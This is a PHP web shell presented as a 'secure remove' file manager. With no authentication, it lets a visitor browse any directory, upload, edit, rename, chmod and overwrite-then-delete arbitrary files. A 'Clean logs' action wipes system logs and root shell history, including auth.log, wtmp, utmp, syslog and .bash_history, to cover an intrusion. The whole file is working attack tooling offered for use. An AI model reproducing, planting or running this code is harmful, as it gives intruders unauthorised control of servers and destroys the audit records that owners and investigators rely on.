<?php /* Version 0.6 - file manager edition https://github.com/guglia001/php-secure-remove */ error_reporting(E_ERROR | E_PARSE); /* ---------- path aktif ---------- */ $path = empty($_GET['dir']) ? getcwd() : $_GET['dir']; $path = rtrim($path, '/'); @chdir($path); /* ---------- aksi POST / GET ---------- */ $msg = ""; // Upload file if (isset($_FILES['upfile'])) { $dest = $path . '/' . basename($_FILES['upfile']['name']); if (move_uploaded_file($_FILES['upfile']['tmp_name'], $dest)) $msg = "Uploaded: " . htmlspecialchars($dest); else $msg = "Upload failed: " . htmlspecialchars($_FILES['upfile']['error']); } // Rename if (isset($_POST['do_rename'])) { $old = $_POST['rename_from']; $new = $path . '/' . basename($_POST['rename_to']); $msg = @rename($old, $new) ? "Renamed -> " . htmlspecialchars($new) : "Rename failed"; } // Edit / simpan file if (isset($_POST['do_edit'])) { $f = $_POST['edit_file']; $msg = @file_put_contents($f, $_POST['content']) !== false ? "Saved: " . htmlspecialchars($f) : "Save failed"; } // Chmod if (isset($_POST['do_chmod'])) { $f = $_POST['chmod_file']; $mode = octdec((int)$_POST['chmod_val']); $msg = @chmod($f, $mode) ? "Chmod " . decoct($mode) . ": " . htmlspecialchars($f) : "Chmod failed"; } // Buat folder if (isset($_POST['do_mkdir'])) { $msg = @mkdir($path . '/' . $_POST['mkdir_name'], 0755) ? "Folder created" : "mkdir failed"; } // Buat file if (isset($_POST['do_mkfile'])) { $f = $path . '/' . basename($_POST['mkfile_name']); $msg = @file_put_contents($f, '') !== false ? "File created" : "Create failed"; } // Delete (dengan secure overwrite) if (isset($_GET['rw']) && (isset($_GET['delete']) || isset($_GET['delete_arr']))) { if (isset($_GET['delete_arr'])) { foreach ((array)$_GET['delete_arr'] as $file) srm($file, (int)$_GET['rw']); } if (isset($_GET['delete'])) srm($_GET['delete'], (int)$_GET['rw']); } // Edit file (GET render form) if (isset($_GET['edit'])) { $f = $_GET['edit']; echo "<title>Edit " . htmlspecialchars($f) . "</title><center> <form method=POST action='?dir=" . urlencode($path) . "'> <input type=hidden name=edit_file value='" . htmlspecialchars($f) . "'> <textarea name=content rows=25 cols=100 style='font-family:monospace'>" . htmlspecialchars(@file_get_contents($f)) . "</textarea><br> <input type=submit name=do_edit value='Save'></form> <a href='?dir=" . urlencode($path) . "'>[ back ]</a></center>"; exit; } // Rename form (GET render form) if (isset($_GET['rename'])) { $f = $_GET['rename']; echo "<title>Rename</title><center> <form method=POST action='?dir=" . urlencode($path) . "'> <input type=hidden name=rename_from value='" . htmlspecialchars($f) . "'> New name: <input type=text name=rename_to value='" . htmlspecialchars(basename($f)) . "'> <input type=submit name=do_rename value='Rename'></form> <a href='?dir=" . urlencode($path) . "'>[ back ]</a></center>"; exit; } /* ---------- UI ---------- */ echo "<title> srm.php </title>"; $scans = range("B", "Z"); foreach ($scans as $drive) { $drive .= ":\\"; if (is_dir($drive)) echo " <a href=?dir=" . urlencode($drive) . ">$drive</a>"; } echo "<center>"; if ($msg) echo "<p style='color:lime;background:#111'><b>$msg</b></p>"; echo " <form action='' method=GET> Directory : <input type=text name=dir value='" . htmlspecialchars($path) . "'><input type=submit value=Enter> </form> <form method=POST action='?dir=" . urlencode($path) . "' enctype=multipart/form-data> Upload : <input type=file name=upfile> <input type=submit value='Upload'> </form> <form method=POST action='?dir=" . urlencode($path) . "'> New folder: <input type=text name=mkdir_name> <input type=submit name=do_mkdir value='Mkdir'> | New file: <input type=text name=mkfile_name> <input type=submit name=do_mkfile value='Create'> </form>"; $archivos = array('dir' => array(), 'file' => array()); if ($d = @dir($path)) { while ($archivo = $d->read()) { if ($archivo === '.' || $archivo === '..') continue; $ver = @filetype($path . '/' . $archivo); if ($ver == "dir") $archivos['dir'][] = $path . '/' . $archivo; else $archivos['file'][] = $path . '/' . $archivo; } $d->close(); } sort($archivos['dir']); sort($archivos['file']); echo "Directories: " . count($archivos['dir']) . " | Files: " . count($archivos['file']) . "<br>"; echo "<table border=1 cellpadding=4> <tr><td>Name</td><td>Type</td><td>Size</td><td>Modification time</td><td>Perms</td><td>Action</td></tr>"; foreach ($archivos['dir'] as $dirs) { $bn = htmlspecialchars(pathinfo($dirs, PATHINFO_BASENAME)); echo "<tr> <td><a href=?dir=" . urlencode($dirs) . ">📁 $bn</a></td> <td>Directory</td><td>-</td> <td>" . date("Y-m-d H:i:s", filemtime($dirs)) . "</td> <td>" . dame($dirs) . "</td> <td> <a href='?dir=" . urlencode($path) . "&rename=" . urlencode($dirs) . "'>Rename</a> <form method=POST action='?dir=" . urlencode($path) . "' style=display:inline> <input type=hidden name=chmod_file value='" . htmlspecialchars($dirs) . "'> <input type=text name=chmod_val size=4 value='" . dame($dirs) . "'> <input type=submit name=do_chmod value='Chmod'> </form> </td></tr>"; } foreach ($archivos['file'] as $files) { $bn = htmlspecialchars(pathinfo($files, PATHINFO_BASENAME)); echo "<tr> <td>$bn</td> <td>File</td> <td>" . view_size(filesize($files)) . "</td> <td>" . date("Y-m-d H:i:s", filemtime($files)) . "</td> <td>" . dame($files) . "</td> <td> <a href='?dir=" . urlencode($path) . "&edit=" . urlencode($files) . "'>Edit</a> <a href='?dir=" . urlencode($path) . "&rename=" . urlencode($files) . "'>Rename</a> <a href='?dir=" . urlencode($path) . "&delete=" . urlencode($files) . "&rw=1' onclick=\"return confirm('Secure-delete this file?')\">Delete</a> <form method=POST action='?dir=" . urlencode($path) . "' style=display:inline> <input type=hidden name=chmod_file value='" . htmlspecialchars($files) . "'> <input type=text name=chmod_val size=4 value='" . dame($files) . "'> <input type=submit name=do_chmod value='Chmod'> </form> </td></tr>"; } echo "</table>"; // mass secure delete seperti versi asli echo "<form action='?dir=" . urlencode($path) . "' method=GET><table border=1><tr>"; echo "<td>Name</td><td>Delete</td></tr>"; foreach ($archivos['file'] as $files) { echo "<tr><td>" . htmlspecialchars(basename($files)) . "</td> <td><input type=checkbox name='delete_arr[]' value='" . htmlspecialchars($files) . "'></td></tr>"; } echo "</table> Secure-rewrite passes <input type=number name=rw value=30> <input type=submit value='Secure Delete'></form>"; echo "<form method=GET action=''> <input type=hidden name=cleanlogs value=1> <input type=submit value='Clean logs'></form> </center>"; /* ---------- fungsi ---------- */ function srm($file, $rw = 30) { if (!@file_exists($file)) return; @chmod($file, 0777); $size = filesize($file); $dest = @fopen($file, 'wb'); if ($dest) { $zero = str_repeat("\0", 65536); for ($i = 0; $i < $rw; $i++) { fseek($dest, 0); $written = 0; while ($written < $size) { $len = min(65536, $size - $written); fwrite($dest, $zero, $len); $written += $len; } } fclose($dest); } echo "<center>Deleted: " . htmlspecialchars($file) . "</center>"; @unlink($file); } function view_size($size) { if (!is_numeric($size)) return FALSE; if ($size >= 1073741824) $size = round($size/1073741824*100)/100 . " GB"; elseif ($size >= 1048576) $size = round($size/1048576*100)/100 . " MB"; elseif ($size >= 1024) $size = round($size/1024*100)/100 . " KB"; else $size .= " B"; return $size; } function dame($file) { return substr(sprintf('%o', fileperms($file)), -4); } if ($_GET['cleanlogs'] == 1) { $paths = array("/var/log/lastlog","/var/log/telnetd","/var/run/utmp","/var/log/secure","/root/.ksh_history","/root/.bash_history","/var/log/wtmp","/etc/utmp","/var/log/lastlog","/var/log/messages","/var/log/secure","/var/log/auth.log","/var/log/syslog","/var/log/wtmp"); foreach ($paths as $p) srm($p, 10); } ?>
[ back ]